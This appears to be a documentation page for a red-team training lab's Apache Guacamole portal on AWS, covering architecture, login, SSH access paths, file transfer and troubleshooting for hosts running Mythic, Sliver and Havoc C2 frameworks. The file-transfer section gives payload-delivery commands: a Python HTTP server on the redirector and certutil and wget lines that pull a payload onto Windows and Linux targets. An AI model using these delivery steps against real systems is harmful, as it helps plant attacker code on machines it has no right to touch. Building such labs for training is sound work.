Repository navigation
08. Guacamole
The lab's web-based remote access portal. Apache Guacamole runs in Docker on a dedicated EC2 host, exposes HTTPS publicly, and brokers SSH / RDP / VNC sessions to every other lab machine. It is the only public SSH endpoint in the deployment.
| At a glance | |
|---|---|
| Hostname | guac |
| Public URL | https://<guac-eip>/guacamole |
| UI login |
guacadmin / lab password (from deployment_info.txt) |
| Containers |
guacamole/guacamole, guacamole/guacd, postgres:15
|
| Pre-registered connections | Windows (RDP), Mythic / Sliver / Havoc / Redirector / Kali / Guacamole (SSH), Havoc Desktop (VNC), optional Kali (XRDP) |
| TLS | Self-signed cert in front of Nginx; terminates HTTPS, proxies to Guacamole on localhost:8080
|
| Public SSH endpoint |
guac only (port 22 on Guacamole's Elastic IP) |
| SSH user |
admin on every Linux host |
| SSH auth | RSA key from public sources; password from 10.0.0.0/8 and 172.16.0.0/12
|
Three reasons:
- Single public ingress: The redirector exposes only 80/443 (for C2 callbacks); the seven other lab hosts have no public IPs. Without Guacamole you'd need either: (a) a public SSH endpoint on every host (sprawl + risk), or (b) a separate bastion host (extra cost + complexity). Guacamole is the bastion, plus it gives you RDP and VNC for free.
- No client install: Web browser, that's it. Useful when working from a kiosk, a locked-down corporate laptop, an iPad, or any environment where you can't install a full SSH/RDP/VNC client stack.
- Centralized session recording (potential): Guacamole supports session recording natively. Not enabled in redStack by default but can be flipped on for training scenarios where you want to review what an operator did during a session.
- Latency: A web-based RDP session has more latency than a native RDP client because every keystroke and frame goes browser → HTTPS → guacd → RDP. Most operators don't notice for terminal work; you do notice for graphical work like the Havoc Katana client.
-
Single point of failure: If
guacis down, the entire lab is unreachable from the public internet. Mitigation: Guacamole has its own EIP and an SG rule for direct SSH fromlocalPub_ip. This is a break-glass path for advanced users who need headless access when the portal is unavailable. For most issues,terraform apply -replace=aws_instance.guacamoleis the faster fix. -
Public attack surface: HTTPS to
guacadmin/lab_passwordis exposed to the entire internet. The lab password is randomly generated per deploy (16 characters with special characters) but it's still a credential pair on the public internet. ThelocalPub_ipSG restriction is strongly recommended.
Guacamole stores its connection database in Postgres rather than MySQL. Postgres handles the
auto-creation of connections at deploy time cleanly, and psql is more debuggable than the MySQL
alternative. Both work; Postgres was the redStack pick.
Default t3.small (2 vCPU, 2 GB RAM) is sufficient for normal use. Bump to t3.medium if you enable session recording (which writes captures to disk under /var/lib/guacamole/recordings/).
guac (Debian 12) [t3.small, EBS gp3 20 GB]
├── nginx :443 SSL termination, reverse-proxy to localhost:8080
├── docker
│ ├── guacamole/guacamole :8080 (web UI + REST API)
│ ├── guacamole/guacd :4822 (Guacamole daemon: SSH/RDP/VNC client implementation)
│ └── postgres:15 :5432 (connection database)
└── /etc/hosts pre-populated with all lab hostnames
Cloud-init runs terraform/setup_scripts/guacamole_setup.sh, which after Guacamole boots:
- Logs in to the Guacamole REST API as
guacadmin/ default password - Changes the password to the lab password
- Re-authenticates with the new password to get a fresh token
- Issues
POST /api/session/data/postgresql/connectionsfor each host
This is why the connections appear automatically on first deploy. If you re-deploy, the database is destroyed and recreated, so connections are re-registered.
The HTTPS cert at /etc/nginx/ssl/ is a 4096-bit RSA cert with the public IP as the SAN.
Browsers will show a "not secure" warning on first visit; accept it.
If you want a real Let's Encrypt cert:
- Point a DNS A record at the Guacamole EIP.
- SSH to
guac, runsudo certbot --nginx -d yourdomain.tld. - Re-run on every deploy if you destroy/redeploy.
Operator browser
|
v HTTPS (self-signed, port 443)
nginx (on guac)
|
v HTTP (port 8080, localhost)
guacamole/guacamole container
|
v Guacamole protocol (port 4822, localhost)
guacd container
|
v SSH / RDP / VNC to target (private IPs)
mythic / sliver / havoc / windows / kali / redirector
[!NOTE] GuacShare is only available in RDP sessions with drive mapping enabled. It is not available in SSH or VNC sessions. For SSH-based file transfer, use
scp.
-
Open the portal URL from
deployment_info.txt. - Allow clipboard access when prompted. On first connection, Guacamole asks for permission to read and write the system clipboard. Allow it so you can copy and paste between your local machine and any Guacamole session.
-
Login as
guacadmin/ lab password. - Click any connection to open it in a new browser tab.

[Figure 5.1.1: Guacamole portal after login showing all pre-registered connections (Windows RDP, the SSH connections to each lab host, the Havoc Desktop VNC, and the optional Kali XRDP)]
Press Ctrl+Alt+Shift inside any active session to open the Guacamole sidebar. This is the
control panel for everything outside of keyboard input to the session itself.
| Shortcut | Action |
|---|---|
Ctrl+Alt+Shift |
Open / close the sidebar |
Ctrl+Alt+End |
Send Ctrl+Alt+Del to a Windows RDP session |
Shift+Insert |
Paste from system clipboard (after opening sidebar once to enable sync) |
The sidebar contains:
- Home icon (top): Returns to the connection list without closing the active session.
- Clipboard: Paste text to and from the session. Open it once to enable two-way sync.
- Devices: Shows the GuacShare virtual drive (RDP sessions only).
- On-screen keyboard: Useful for special characters on non-standard layouts.
- Zoom: Rescale the session viewport.
Each connection opens in its own browser tab. Open multiple connections in separate tabs to work across machines simultaneously.
From inside any session, press Ctrl+Alt+Shift to open the sidebar, then click the home icon
at the top of the sidebar. This returns you to the connection list without terminating the
session. The session stays alive and reconnects immediately when you click it again.
GuacShare is a virtual drive available only during a Windows (RDP) session. It maps your browser's file system into the Windows RDP session as \\tsclient\GuacShare\.
Upload (browser → Windows):
- Open the sidebar (
Ctrl+Alt+Shift) → Devices → GuacShare. - Click the upload icon and select a file from your local machine.
- The file lands in
\\tsclient\GuacShare\on Windows.
Download (Windows → browser):
- Move or copy the file to
\\tsclient\GuacShare\on Windows. - Open the sidebar → Devices → GuacShare.
- Click the filename to download it to your local machine.
By default, the host clipboard and the session clipboard are isolated. To sync:
- Open the sidebar (
Ctrl+Alt+Shift) → Clipboard. - Paste text into the box to send it into the session.
- Text copied inside the session appears in the box automatically once the panel is open.
No Linux host in the lab has a public IP or exposes SSH externally. All SSH access routes through the lab network.
1. MobaXterm from Windows RDP (primary)
Open the Windows RDP session via Guacamole, then use the pre-configured MobaXterm bookmarks to reach any internal host. Password auth from inside the lab - no key file needed.
2. Guacamole SSH sessions (secondary)
Log in as guacadmin and click any pre-configured SSH connection. The lab password is baked into each connection profile - no manual auth needed.
3. Direct SSH to Guacamole (break-glass)
Guacamole is the only host with a public SSH port. Use this path when the portal itself is unavailable:
ssh -i rs-rsa-key.pem admin@<GUAC_PUBLIC_IP>You land at admin@guac:~$. From here hop to any internal host by hostname using password auth.
All hostnames resolve via /etc/hosts on every host. From MobaXterm or any SSH session:
ssh admin@mythic
ssh admin@sliver
ssh admin@havoc
ssh admin@redirector
ssh admin@kaliFrom PowerShell on Windows:
ssh admin@mythic
ssh admin@kali
scp .\payload.exe admin@havoc:/tmp/GuacShare (browser ↔ Windows) - primary for operator files
Use the GuacShare virtual drive in the Windows RDP session to move files between your local browser and the Windows operator. See GuacShare above.
SCP (internal lab transfers)
Move files between lab hosts from MobaXterm or any SSH session:
# Between lab hosts:
scp ./localfile admin@mythic:/tmp/
scp ./payload.exe admin@windows:C:/Users/Administrator/Desktop/Python HTTP server on redirector (payload delivery to targets)
Host payloads on the redirector so targets can pull them down over HTTP. Run in a screen session:
cd /tmp && screen -S http python3 -m http.server 8080Pull from a target:
# Windows target:
certutil -urlcache -split -f http://<redirector-ip>:8080/payload.exe payload.exe# Linux target:
wget http://<redirector-ip>:8080/fileUse the redirector's public IP (Direct Access) or tun0 IP (Tunneled Access).
Kali: The Kali AMI ships with a kali user. redStack renames it to admin during
provisioning. Don't SSH as kali; that user no longer exists. See Kali.
Redirector (port 22 closed publicly): Port 22 is not exposed on the public EIP. Access via MobaXterm from Windows or Guacamole > Redirector (SSH). The -J jump through Guacamole (ssh -i rs-rsa-key.pem -J admin@<GUAC_PUBLIC_IP> admin@redirector) is available as a break-glass option.
Windows operator: No SSH server. Access is RDP only via Guacamole > Windows (RDP). PowerShell on Windows can SSH out to any Linux host once the desktop is loaded.
| Connection | Protocol | Use for | Auth |
|---|---|---|---|
| Windows (RDP) | RDP | Driving the Windows operator workstation: Mythic UI, agent execution, payload work | Auto (Administrator + AWS-decrypted password) |
| Mythic (SSH) | SSH | Shell on Mythic host: mythic-cli operations, Docker container management |
admin + lab password |
| Sliver (SSH) | SSH | Shell on Sliver host: launch sliver-client, manage daemon |
admin + lab password |
| Havoc (SSH) | SSH | Shell on Havoc host: build script, teamserver management, log review |
admin + lab password |
| Havoc Desktop (VNC) | VNC | Run the Havoc Katana GUI client (must use this connection, not SSH) | Lab password |
| Redirector (SSH) | SSH | Shell on the redirector: Apache config, certbot, log review |
admin + lab password |
| Guacamole (SSH) | SSH | Shell on the Guacamole host: container management, nginx config, debugging |
admin + lab password |
| Kali (SSH) | SSH | Shell on Kali: AD tooling, proxychains, enumeration work |
admin + lab password |
| Kali (XRDP) | RDP | Kali XFCE desktop (only registered when kali_deployment_mode = "gui") |
admin + lab password |
Nginx is up but can't reach the Guacamole container. Check Docker:
ssh admin@guac
docker psExpected: three containers (guacamole, guacd, postgres_guacamole) all Up. If any are
restarting, check logs:
docker logs guacamole
docker logs guacd
docker logs postgres_guacamoleMost common cause is Postgres taking longer than expected on first deploy. Wait 2-3 minutes and retry.
The default password is changed to the lab password during cloud-init. If cloud-init was
interrupted, try guacadmin/guacadmin. If that works, change the password manually:
- Login as
guacadmin/guacadmin. - Settings → Users → guacadmin → Change password.
- Set it to the lab password from
deployment_info.txt.
Cloud-init's connection-registration step failed. Query Postgres to confirm:
ssh admin@guac
docker exec -it postgres_guacamole psql -U guacamole_user -d guacamole_db \
-c "SELECT connection_id, connection_name, protocol FROM guacamole_connection;"If empty, replace just the Guacamole instance - no full destroy needed:
terraform apply -replace="aws_instance.guacamole"Cloud-init re-runs on the new instance and re-registers all connections automatically.
-
Is the target host up? From
guac:ping mythic -
Is the target port listening?
nc -zv mythic 22/nc -zv windows 3389/nc -zv havoc 5901 -
Is the target service running? SSH into the target:
systemctl status sshd/systemctl status xrdp
The Windows host loads the drive lazily. Open File Explorer → This PC and wait 10-30 seconds. If it still doesn't appear, disconnect and reconnect the RDP session.
TigerVNC sometimes loses its X session after a host restart. SSH to havoc and restart the service:
sudo systemctl restart vncserver.serviceThen reconnect via Guacamole.
The Guacamole protocol is sensitive to round-trip time. If your laptop is far from the AWS region, browser RDP will feel sluggish. Options:
- Deploy to a closer region (
aws_region = "eu-west-1"in tfvars). - Use MobaXterm from the Windows RDP session for terminal work; reserve browser RDP for graphical needs.
The lab password is in deployment_info.txt in the redStack/ directory. If that file is gone: terraform output deployment_info from redStack/terraform/. If state is gone: terraform destroy && terraform apply.
Expected. redStack renames the kali user to admin during provisioning. Use admin on all
Linux hosts.
← Previous: Lab Inventory | Next: Redirector →
"Hackers log in, they don't break in."
Bret Arsenault, Microsoft CISO (~2018)